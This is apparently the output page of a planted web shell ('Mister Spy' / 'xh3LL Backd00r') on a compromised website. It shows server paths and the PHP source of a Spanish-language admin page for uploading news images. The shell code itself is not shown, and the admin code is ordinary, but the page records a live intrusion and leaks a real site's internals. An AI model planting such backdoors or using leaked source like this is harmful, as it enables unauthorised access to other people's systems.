Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/noticias_imagenes.php

<?php 

require_once('../inc_library_front.php'); 

/* secci�n exclusiva para usuarios autentificados */
Session::ForceLogin();

/* verificamos si posee permisos */
if (!Session::CheckPerm(Modulo::Catalogo))
	Session::NoPerm();

/* obtenemos datos enviados */
$PageGaleria		= intval($_REQUEST['PageGaleria']);
$PageGaleriaSize 	= intval($_REQUEST['PageGaleriaSize']);
$Imagen 			= $_FILES['Imagen'];
$Action 			= strval($_REQUEST['MainAction']);
$Id					= intval($_REQUEST['Id']);
$IdNoticia			= intval($_REQUEST['IdNoticia']);
$url 				= strval($_REQUEST['url']);

/* declaramos e instanciamos variables necesarias */
$err				= 0;
$errUpload			= 0;
$arrData			= array();
$oImage 			= new Image();
$oNoticias			= new Noticias();
$oNoticiaImagen 	= new NoticiaImagen();
$oNoticiaImagenes 	= new NoticiaImagenes();
$oPage 				= new Page($Page, $PageGaleriaSize);

/* arma cadena de parametros */
$strParams = (strlen($_SERVER['QUERY_STRING']) > 0) ? '?' . $_SERVER['QUERY_STRING'] : '';
$strParams.= '&PageGaleria=' 		. $PageGaleria;
$strParams.= '&PageGaleriaSize=' 	. $PageGaleriaSize;

if (!$oNoticia = $oNoticias->GetById($IdNoticia))
{
	header('Location: noticias.php' . $strParams);
	exit;
}

$arrData 	= $oNoticiaImagenes->GetAllByNoticia($oNoticia);

/* ejecuta la accion solicitada... */
switch ($Action)
{
	case 'Add':
		
		/* obtiene el epigrafe a agregar */	
		$Epigrafe = $_REQUEST['Epigrafe'];
		if (!$Orden = intval($_REQUEST['Orden']))
			$Orden = 1;
		
		
		
		if ($Imagen['name'] == '')
			$err |= 8;
		
		/* si no hay errores... */
		if ($err == 0)
		{
			if ($Imagen['error'] != 1)
			{
				$oUpload = new Image
				(
					$Imagen['name'],
					$Imagen['tmp_name'],
					$Imagen['size'],
					$Imagen['type'],
					array(Noticia::PathImageBig, Noticia::PathImageThumb),
					array('jpg', 'jpeg', 'gif', 'png'),
					array(700, 600),
					array(700, 600),
					array('Resize', 'Adaptive'),
					100
				);
		
				if ($oUpload->UploadImage())
				{
					$oNoticiaImagen->IdNoticia	= $IdNoticia;
					$oNoticiaImagen->Imagen 		= $oUpload->GetNombre();
					$oNoticiaImagen->Epigrafe 		= $Epigrafe;
					$oNoticiaImagen->Orden			= $Orden;
					
					$oNoticiaImagen = $oNoticiaImagenes->Create($oNoticiaImagen);

					/* determinamos el resultado de la operacion para informar al usuario */
					$Operation = Operaciones::Create;
					$Status = (($oNoticiaImagen) ? true : false);
				}
			}
		}
		
		break;
		
	case 'DeleteMultiple':
	
		if (sizeof($arrData) != 0)
		{		
			$Delete = true;
		
			foreach ($arrData as $oImagen)
			{				
				if (isset($_REQUEST['Eliminar_' . $oImagen->IdImagen]))
				{
					if (!($oNoticiaImagenes->Delete($oImagen->IdImagen)))
						$Delete = false;
				}
			}
			
			$Operation = Operaciones::Delete;
			$Status = (($Delete) ? true : false);
		}
		
		break;
		
	case 'Delete':
		if ($Id)
		{
			if ($oImagen = $oNoticiaImagenes->GetById($Id))
			{
				if (!($oNoticiaImagenes->Delete($oImagen->IdImagen)))
					$Delete = false;
			}
			
			$Operation = Operaciones::Delete;
			$Status = true;
		}
		
		break;
		
	case 'Edit':
		if ($Id)
		{
			if ($oImagen = $oNoticiaImagenes->GetById($Id))
			{
				$Epigrafe = strval($_REQUEST['Epigrafe_' . $oImagen->IdImagen]);
				$Orden = intval($_REQUEST['Orden_' . $oImagen->IdImagen]);
				$oImagen->Epigrafe = $Epigrafe;
				$oImagen->Orden = $Orden;
				$oNoticiaImagenes->Update($oImagen);
			}
			
			$Operation = Operaciones::Update;
			$Status = true;
		}
		break;
		
	case 'Back':
	
		header('Location: noticias.php' . $strParams);
		exit;
		
		break;
		
	default:
		break;
}

//$Paginado 	= Pageable::PrintPaginator($oPage, $oNoticiaImagenes->GetCountRows($oNoticia->IdNoticia), true);
$arrData 	= $oNoticiaImagenes->GetAllByNoticia($oNoticia);

if (count($arrData) > 0) {
	if ($arrData[0]->Orden == 0) {
		unset($arrData[0]);
	}
}

?>
<!DOCTYPE html>
<html>
<head>
        <?php include("ssi_head_inc.php"); ?>

<script language="javascript">


function RefreshEpigrafe(IdImagen)
{
	var lblEpigrafe = Get('lblEpigrafe_' + IdImagen);
	var Epigrafe	= Get('Epigrafe_' + IdImagen);

	if (lblEpigrafe == undefined)
		return false;

	if (Epigrafe == undefined)
		return false;

	lblEpigrafe.innerText = Epigrafe.value;
	
	return true;
}

function Edit(IdImagen)
{
	var frmData 	= Get('frmData');
	var Epigrafe 	= Get('Epigrafe_' + IdImagen);	
	var arr 		= new Array();
	var obj;
					
	if (frmData == undefined)
		return false;
	
	if (Epigrafe == undefined)
		return false;
				
	arr['IdImagen'] = IdImagen;
				
	obj = SendXMLRequest('NoticiaImagenes', 'GetById', null, arr);
	if (obj.Status.Id != 0)
	{
		alert(obj.Status.Description);
		return;
	}
	
	oImagen 			= obj.Response;
	oImagen.Epigrafe 	= (Epigrafe.value != '') ? Epigrafe.value : oImagen.Epigrafe;	

	arr['IdImagen'] = oImagen.IdImagen;
	arr['Epigrafe'] = oImagen.Epigrafe;	

	obj = SendXMLRequest('NoticiaImagenes', 'Update', null, arr);
	if (obj.Status.Id != 0)
	{
		alert(obj.Status.Description);
		ShowResult(false);
		return;
	}
			
	if (Epigrafe.value != '')
		RefreshEpigrafe(IdImagen);
			
	Epigrafe.value = '';
	
	ShowResult(true);	
	
	return true;	
}

function EditOrden()
{
	var frmData 	= Get('frmData');
	var MainAction 	= Get('MainAction');
					
	if (frmData == undefined)
		return false;
	MainAction.value = 'Edit';	
	frmData.submit();
}

function DeleteMultiple()
{
	var frmData 	= Get('frmData');
	var MainAction 	= Get('MainAction');
					
	if (frmData == undefined)
		return false;

	MainAction.value = 'DeleteMultiple';
	frmData.submit();
	return true;
}

function Back()
{
	var frmData 	= Get('frmData');
	var MainAction 	= Get('MainAction');
					
	if (frmData == undefined)
		return false;

	MainAction.value = 'Back';
	frmData.submit();
	return true;
}

function ShowAddImage()
{
	HideSection('ShownAddImage');
	ShowSection('AddImageMain');
}

function HideAddImage()
{
	ShowSection('ShownAddImage');
	HideSection('AddImageMain');
}			

function ShowResult(Status)
{
	if (Status)
	{
		Get('tdOperationImagenResult').innerHTML = '<div style="border: 2px solid #00CC00; padding: 5px; background:#CCFFCC;"><img src="images/iconos/check.gif" border="0" /><strong style="padding-left: 10px"><label id="lblOperationResult"> Registro modificado correctamente.</label></strong></div>'
	}
	else
	{
		Get('tdOperationImagenResult').innerHTML = '<div style="border: 2px solid #FF0000; padding: 5px; background:#FFCC99;"><img src="images/iconos/permisos.gif" border="0" /><strong style="padding-left: 10px"><label id="lblOperationResult"> Ocurrio un error al intentar modificar el registro.</label></strong></div>'
	}

	ShowSection('trOperationImagenResult');
	
	setTimeout("HideSection('trOperationImagenResult');", 5000);
	
	return true;
}

</script>

</head>

    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">

            <?php include("ssi_header.php"); ?>

			<?php include("ssi_menu.php"); ?>

            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">
                    
                    	<div class="row">
							<div class="col-sm-12">
								<h4 class="page-title">Cargar Imagenes</h4>
								<ol class="breadcrumb">
									<li>
										<a>Administraci&oacute;n</a>
									</li>
									<li>
										<a href="noticias.php">Noticias</a>
									</li>
									<li class="active">
										Cargar Imagenes
									</li>
								</ol>
								
							</div>
						</div>
                    	<div class="row">
                    		<div class="col-xs-12">
                                <div class="card-box">
                                	<h4 class="m-t-0 header-title"><b>Nueva Imagen</b></h4>
                                	<div class="row">
                                		<form name="frmData" id="frmData" method="post" enctype="multipart/form-data">
                                			<input type="hidden" name="PageGaleria" id="PageGaleria" value="<?=$PageGaleria?>" />
                                			<input type="hidden" name="PageGaleriaSize" id="PageGaleriaSize" value="<?=$PageGaleriaSize?>" />
                                			<input type="hidden" name="MainAction" id="MainAction" value="Add" />
                                			<input type="hidden" name="Id" id="Id" />
                                			<input type="hidden" name="IdNoticia" id="IdNoticia" value="<?=$IdNoticia?>" />
                                			<div class="col-md-4">
                                				<div class="form-group">
                                					<label for="Imagen">Imagen *</label>
                                					<input type="file" name="Imagen" id="Imagen" required="" data-parsley-max-file-size="2" data-parsley-required-message="Seleccione una imagen" class="filestyle" data-buttonname="btn-white" data-buttontext="Seleccione imagen" accept="image/*" />
                                				</div>
                                			</div>
                                			<div class="col-md-4">
                                				<div class="form-group">
                                					<label for="Epigrafe">Epigrafe</label>
                                					<input type="text" name="Epigrafe" id="Epigrafe" class="form-control" />
                                				</div>
                                			</div>
                                			<div class="col-md-2">
                                				<div class="form-group">
                                					<label for="Orden">Orden</label>
                                					<input type="number" name="Orden" id="Orden" class="form-control" />
                                				</div>
                                			</div>
                                			<div class="col-md-2">
                                				<div class="form-group">
                                					<label style="width: 100%">&nbsp;</label>
                                					<button class="btn btn-primary waves-effect waves-light" type="submit">
														Aceptar
													</button>
												</div>
                                			</div>
                                		</form>
                                	</div>
                                	<?php
                                	if (sizeof($arrData) != 0)
                                	{
                                	?>
                                	<h4 class="m-t-30 header-title"><b>Imagenes cargadas para <?= $oNoticia->Noticia ?>:</b></h4>
                                	<div class="row">
                                		<div class="col-md-12">
                                			<div class="row">
                                			<?php
                                			$Cont = 1;
                                			foreach ($arrData as $oImagen)
                                			{
                                			?>
                                				<div class="col-sm-6 col-md-6 col-lg-3">
                                					<div class="pricing-item text-center">
                                						<div class="pricing-item-inner">
                                							<div class="pricing-header">
                                            					<a href="<?=Noticia::PathImageBig . $oImagen->Imagen?>">
                                            						<img src="<?=Noticia::PathImageThumb . $oImagen->Imagen?>" width="100%" />
                                            					</a>
                                        					</div>
                                        					<div class="pricing-wrap">
                                        						<ul class="sf-list pr-list">
                                        							<li><?= $oImagen->Epigrafe ?></li>
                                        							<li>
                                        								<form name="frmData" id="frmData" method="post" enctype="multipart/form-data">
                                											<input type="hidden" name="PageGaleria" id="PageGaleria" value="<?=$PageGaleria?>" />
                                											<input type="hidden" name="PageGaleriaSize" id="PageGaleriaSize" value="<?=$PageGaleriaSize?>" />
                                											<input type="hidden" name="MainAction" id="MainAction" value="Edit" />
                                											<input type="hidden" name="Id" id="Id" value="<?= $oImagen->IdImagen ?>" />
                                											<input type="hidden" name="IdNoticia" id="IdNoticia" value="<?=$IdNoticia?>" />
                                											<div class="col-sm-12 text-left">
                                												<div class="form-group">
                                													<label for="Epigrafe_<?=$oImagen->IdImagen?>">Epigrafe </label>
                                													<input type="text" name="Epigrafe_<?=$oImagen->IdImagen?>" id="Epigrafe_<?=$oImagen->IdImagen?>" class="form-control" />
                                												</div>
                                											</div>
                                											<div class="col-sm-12 text-left">
                                												<div class="form-group">
                                													<label for="Orden_<?=$oImagen->IdImagen?>">Orden </label>
                                													<input type="number" name="Orden_<?=$oImagen->IdImagen?>" id="Orden_<?=$oImagen->IdImagen?>" class="form-control" value="<?=$oImagen->Orden ? $oImagen->Orden : 1 ?>" min="1" />
                                												</div>
                                											</div>
                                											<div class="col-sm-12">
                                												<div class="form-group">
                                													<button class="btn btn-primary waves-effect waves-light" type="submit">
																						Actualizar
																					</button>
                                												</div>
                                											</div>
                                        								</form>
                                        							</li><li>
                                        								<form class="form-delete" name="frmData" id="frmData" method="post" enctype="multipart/form-data">
                                											<input type="hidden" name="MainAction" id="MainAction" value="Delete" />
                                											<input type="hidden" name="Id" id="Id" value="<?= $oImagen->IdImagen ?>" />
                                											<input type="hidden" name="IdNoticia" id="IdNoticia" value="<?=$IdNoticia?>" />
                                											<div class="col-sm-12">
                                												<div class="form-group">
                                													<button class="btn btn-danger waves-effect waves-light" type="submit">
																						Eliminar Imagen
																					</button>
                                												</div>
                                											</div>
                                        								</form>
                                        							</li>
                                        						</ul>
                                        					</div>
                                        				</div>
                                					</div>
                                				</div>
                                			<?php
                                				$Cont ++;
                                			}
                                			?>
                                			</div>
                                		</div>
                                	</div>
                                	<?php
                                	}
                                	else
                                	{
                                	?>
                                	<div class="row">
                                		<div class="col-md-12">
                                			<h4 class="m-t-30 header-title"><b>El registro no posee im&aacute;genes asociadas.</b></h4>
										</div>
									</div>
                                	<?php
                                	}
                                	?>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
		<?php include("ssi_scripts.php"); ?>
		<script type="text/javascript">
			$(document).ready(function() {
				$(".form-delete").submit(function(e) {
					var form = this;
    				e.preventDefault();

					swal({
                		title: "Eliminar Imagen",
                		text: "\u00BFEsta seguro de eliminar la imagen?",
                		type: "warning",
                		showCancelButton: true,
                		confirmButtonClass: 'btn-warning',
                		confirmButtonText: "Si, Eliminarla!",
                		closeOnConfirm: true,
                		closeOnCancel: true
            		}, function (isConfirm) {
            			if (isConfirm) {
            				form.submit();
            			}
            		});
        			
        		});
			
			 setTimeout(function() {
			<?php
			if ($Operation == Operaciones::Delete)
			{
				if ($Status)
				{
			?>
				swal({
                	title: "Imagen Eliminada!",
                	text: "La imagen ha sido eliminada",
                	type: "success",
                	timer: 2000,
                	showConfirmButton: false
            	});
            <?php
            	}
            	else
				{
			?>
				swal({
                	title: "Error!",
                	text: "Ha ocurrido un error al eliminar la imagen",
                	type: "error",
                	timer: 2000,
                	showConfirmButton: false
            	});
            <?php
            	}
            }
			if ($Operation == Operaciones::Update)
			{
			?>
				swal({
                	title: "Imagen Actualizada!",
                	text: "La imagen ha sido actualizada",
                	type: "success",
                	timer: 2000,
                	showConfirmButton: false
            	});
            
            <?php
            }
            ?>}, 1000);
        		$('form').parsley({
        			excluded: "input[type=button], input[type=submit], input[type=reset], input[type=hidden], [disabled], :hidden"
        		});
			});
		</script>
	</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat